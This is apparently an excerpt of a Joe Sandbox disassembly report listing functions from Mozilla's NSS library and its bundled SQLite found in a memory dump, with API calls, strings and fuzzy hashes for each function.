Function 6CBC6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CBC781D,00000000,6CBBBE2C,?,6CBC6B1D,?,?,?,?,00000000,00000000,6CBC781D), ref: 6CBC6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CBC781D,?,6CBBBE2C,?), ref: 6CBC6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CBC781D), ref: 6CBC6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CBC6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CBC6C96

Part of subcall function 6CB71240: TlsGetValue.KERNEL32(00000040,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71267
Part of subcall function 6CB71240: EnterCriticalSection.KERNEL32(?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB7127C
Part of subcall function 6CB71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71291
Part of subcall function 6CB71240: PR_Unlock.NSS3(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB712A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CBC6CAA

Strings

extern:, xrefs: 6CBC6C7E
rdb:, xrefs: 6CBC6C69
NSS_DEFAULT_DB_TYPE, xrefs: 6CBC6C91
sql:, xrefs: 6CBC6C52
dbm, xrefs: 6CBC6CA4
dbm:, xrefs: 6CBC6C3A

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 269a7fabcaa96558d57c1b06b7d1162fd0376a821132ff9bc84475580e16c067
Instruction ID: e4f98ea99ac17a38846db8874c451298730f4ee2e994284ac96dc820c0055dcf
Opcode Fuzzy Hash: 269a7fabcaa96558d57c1b06b7d1162fd0376a821132ff9bc84475580e16c067
Instruction Fuzzy Hash: 1D01A2F170238227EA1027B95D4AF37369DDF91258F140431FE08E0A81FAA2E52482B7

Function 6CBD4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CB978F8), ref: 6CBD4E6D

Part of subcall function 6CB709E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CB706A2,00000000,?), ref: 6CB709F8
Part of subcall function 6CB709E0: malloc.MOZGLUE(0000001F), ref: 6CB70A18
Part of subcall function 6CB709E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CB70A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CB978F8), ref: 6CBD4ED9

Part of subcall function 6CBC5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CBC7703,?,00000000,00000000), ref: 6CBC5942
Part of subcall function 6CBC5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CBC7703), ref: 6CBC5954
Part of subcall function 6CBC5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBC596A
Part of subcall function 6CBC5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBC5984
Part of subcall function 6CBC5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CBC5999
Part of subcall function 6CBC5920: free.MOZGLUE(00000000), ref: 6CBC59BA
Part of subcall function 6CBC5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CBC59D3
Part of subcall function 6CBC5920: free.MOZGLUE(00000000), ref: 6CBC59F5
Part of subcall function 6CBC5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CBC5A0A
Part of subcall function 6CBC5920: free.MOZGLUE(00000000), ref: 6CBC5A2E
Part of subcall function 6CBC5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CBC5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4EB3

Part of subcall function 6CBD4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBD4EB8,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD484C
Part of subcall function 6CBD4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBD4EB8,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD486D
Part of subcall function 6CBD4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CBD4EB8,?), ref: 6CBD4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4EC0

Part of subcall function 6CBD4470: TlsGetValue.KERNEL32(00000000,?,6CB97296,00000000), ref: 6CBD4487
Part of subcall function 6CBD4470: EnterCriticalSection.KERNEL32(?,?,?,6CB97296,00000000), ref: 6CBD44A0
Part of subcall function 6CBD4470: PR_Unlock.NSS3(?,?,?,?,6CB97296,00000000), ref: 6CBD44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CCADCB0,00000000), ref: 6CBD4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CBD501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CB978F8), ref: 6CBD506B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 14b88c68b5ff87d6023b536d26d88adf95941bc03db07235694ce33b955d7a78
Instruction ID: dc29de06115542cbcae870f61f07b72fd897de24594108295a9708781a95b53f
Opcode Fuzzy Hash: 14b88c68b5ff87d6023b536d26d88adf95941bc03db07235694ce33b955d7a78
Instruction Fuzzy Hash: 4751D3F19006869BEB119F24EC41A9E37B8EF0531DF160635EC0A96A11FB32E558CAD2

Function 6CB7ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB7ACE2
malloc.MOZGLUE(00000001), ref: 6CB7ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB7AD02
TlsGetValue.KERNEL32 ref: 6CB7AD3C
calloc.MOZGLUE(00000001,?), ref: 6CB7AD8C
PR_Unlock.NSS3 ref: 6CB7ADC0
free.MOZGLUE(00000000), ref: 6CB7AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB7AE58
free.MOZGLUE(00000000), ref: 6CB7AE69
free.MOZGLUE(?), ref: 6CB7AE78
PR_Unlock.NSS3 ref: 6CB7AE8C
free.MOZGLUE(?), ref: 6CB7AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB7AEC7

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: d677b9ef1ba745035c23f4632deed2755cbffdae48c1514d9555f20adced1241
Instruction ID: 307d17b57c56487b2731b7e74b78fdb7f8a8320dbe9a07f534f96ea5454820aa
Opcode Fuzzy Hash: d677b9ef1ba745035c23f4632deed2755cbffdae48c1514d9555f20adced1241
Instruction Fuzzy Hash: 8051BFB1E001669BDFA0DF58D9416AE7778FB0A349F140025DC28A3B11E731E955CFE2

Function 6CBBADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CBBADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBBAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBBAE29

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBBAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CBBAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBBAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CBBAEA0

Strings

(CK_INVALID_HANDLE), xrefs: 6CBBAE1F, 6CBBAE80
hKey = 0x%x, xrefs: 6CBBAE62, 6CBBAE72
C_MessageSignInit, xrefs: 6CBBADE1
hSession = 0x%x, xrefs: 6CBBAE01, 6CBBAE11

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 3bee913f4b25f020f97b2b39d6341144691d2e5d0a580f740bed56be345fbfd7
Instruction ID: b568790346a93aee22bddd006477490f70c77f6e85c52768754f342565b6102a
Opcode Fuzzy Hash: 3bee913f4b25f020f97b2b39d6341144691d2e5d0a580f740bed56be345fbfd7
Instruction Fuzzy Hash: 8831E531A00299EBCB04DF54DC98BBE3775EB4A709F484425F409BBA51EF349949CFA2

Function 6CBB9EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CBB9F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB9F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB9F49

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB9F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CBB9F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB9FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CBB9FC0

Strings

(CK_INVALID_HANDLE), xrefs: 6CBB9F3F, 6CBB9FA0
C_MessageEncryptInit, xrefs: 6CBB9F01
hKey = 0x%x, xrefs: 6CBB9F82, 6CBB9F92
hSession = 0x%x, xrefs: 6CBB9F21, 6CBB9F31

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: ea8e768efb983b664778ba84c3201801643c5e113114684e061da405e882336e
Instruction ID: dca2d5ab5554d40d06c87787074b6708d98ce794953f7b4a0aa35be779517e1e
Opcode Fuzzy Hash: ea8e768efb983b664778ba84c3201801643c5e113114684e061da405e882336e
Instruction Fuzzy Hash: 9E31E531A01289ABDF04DF54DC98BBE3775EB4A319F084425F408BBA51EF34A949CB92

Function 6CC54C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CC54CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC54CFD
sqlite3_value_text16.NSS3(?), ref: 6CC54D44

Strings

invalid, xrefs: 6CC54CF1
out of memory, xrefs: 6CC54C78, 6CC54C9E
abort due to ROLLBACK, xrefs: 6CC54D27, 6CC54D33
another row available, xrefs: 6CC54D20
unknown error, xrefs: 6CC54D56
bad parameter or other API misuse, xrefs: 6CC54D05
API call with %s database connection pointer, xrefs: 6CC54CF6
no more rows available, xrefs: 6CC54D2E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 9a8b23d51133bf30682e18c64031c38b145be25660c1b23a2eaf7363c04415c6
Instruction ID: 899ee4513837cfb0dd33124531213b98d8a6f1ebb4429c0146085acc1ff43228
Opcode Fuzzy Hash: 9a8b23d51133bf30682e18c64031c38b145be25660c1b23a2eaf7363c04415c6
Instruction Fuzzy Hash: C0314872E089516BD704CB2AE8007E97372B7C3358FD50569D8245BE59F721BC7283EA

Function 6CBB2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CBB2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB2E33

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CBB2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CBB2E81

Strings

ulPinLen = %d, xrefs: 6CBB2E7C
(CK_INVALID_HANDLE), xrefs: 6CBB2E2C
pPin = 0x%p, xrefs: 6CBB2E63
hSession = 0x%x, xrefs: 6CBB2E0E, 6CBB2E1E
C_InitPIN, xrefs: 6CBB2DF1

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 524132277e1bacdeca5a9c95a3a9424ef705bb76fcb4591d6094087422d1e25b
Instruction ID: e15cb64fc2e491c82ed193018f43c9ac6d1ca573f8eabe8028d12af009a1f3f0
Opcode Fuzzy Hash: 524132277e1bacdeca5a9c95a3a9424ef705bb76fcb4591d6094087422d1e25b
Instruction Fuzzy Hash: 8131F371601199ABDB00DB55DC5CBAE3775EB4B319F044025F808BBB51EF309D09CBA2

Function 6CBB6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CBB6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB6F53

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CBB6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CBB6FA1

Strings

(CK_INVALID_HANDLE), xrefs: 6CBB6F4C
pPart = 0x%p, xrefs: 6CBB6F83
ulPartLen = %d, xrefs: 6CBB6F9C
C_DigestUpdate, xrefs: 6CBB6F11
hSession = 0x%x, xrefs: 6CBB6F2E, 6CBB6F3E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 6b6a469e248b72527fd79bdf6d342df28388fd23c24c5c87f8824344a10ea137
Instruction ID: a121e0bb3ef9e7cefff76b3593cc266569de503432cb291da74c2353a8e8307f
Opcode Fuzzy Hash: 6b6a469e248b72527fd79bdf6d342df28388fd23c24c5c87f8824344a10ea137
Instruction Fuzzy Hash: 0931BC34601195ABDF489B64DC58BAA77B5EB4B319F094025E808F7A11EF30DE49CBA2

Function 6CBB7E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CBB7E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB7E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB7E63

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB7E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CBB7E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CBB7EB1

Strings

C_VerifyUpdate, xrefs: 6CBB7E21
(CK_INVALID_HANDLE), xrefs: 6CBB7E5C
pPart = 0x%p, xrefs: 6CBB7E93
ulPartLen = %d, xrefs: 6CBB7EAC
hSession = 0x%x, xrefs: 6CBB7E3E, 6CBB7E4E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: a9caa3703b78d17e6459ad1d495fab65908417d3998e319bad3ef18720d73562
Instruction ID: bde1be88948379fa3bf30f4b561ef5fd4012bd720382d06588db689668f25264
Opcode Fuzzy Hash: a9caa3703b78d17e6459ad1d495fab65908417d3998e319bad3ef18720d73562
Instruction Fuzzy Hash: 5031D334A01199ABDB049B64DD5CBAE37B5EF4B319F094025F808B7A11EF349D09CBA2

Function 6CBB7F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CBB7F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB7F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB7F93

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB7FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CBB7FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CBB7FE1

Strings

C_VerifyFinal, xrefs: 6CBB7F51
(CK_INVALID_HANDLE), xrefs: 6CBB7F8C
pSignature = 0x%p, xrefs: 6CBB7FC3
ulSignatureLen = %d, xrefs: 6CBB7FDC
hSession = 0x%x, xrefs: 6CBB7F6E, 6CBB7F7E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: decace473ceacd8084db31875d21b48d4e8f4cd7f664c603b808b2e9976c5d13
Instruction ID: 1b288f6ea4a92a568d268d91ccbb71e936b2c87b7ad1e343c6bcdde91ba37945
Opcode Fuzzy Hash: decace473ceacd8084db31875d21b48d4e8f4cd7f664c603b808b2e9976c5d13
Instruction Fuzzy Hash: 8931F13060118AABDB00DB54DC98BAE77B5EB4B319F084025E808BB611EF319949CBB2

Function 6CC52D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CC52D9F

Part of subcall function 6CB0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CB6F9C9,?,6CB6F4DA,6CB6F9C9,?,?,6CB3369A), ref: 6CB0CA7A
Part of subcall function 6CB0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB0CB26

sqlite3_exec.NSS3(?,?,6CC52F70,?,?), ref: 6CC52DF9
sqlite3_free.NSS3(00000000), ref: 6CC52E2C
sqlite3_free.NSS3(?), ref: 6CC52E3A
sqlite3_free.NSS3(?), ref: 6CC52E52
sqlite3_mprintf.NSS3(6CCBAAF9,?), ref: 6CC52E62
sqlite3_free.NSS3(?), ref: 6CC52E70
sqlite3_free.NSS3(?), ref: 6CC52E89
sqlite3_free.NSS3(?), ref: 6CC52EBB
sqlite3_free.NSS3(?), ref: 6CC52ECB
sqlite3_free.NSS3(00000000), ref: 6CC52F3E
sqlite3_free.NSS3(?), ref: 6CC52F4C

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
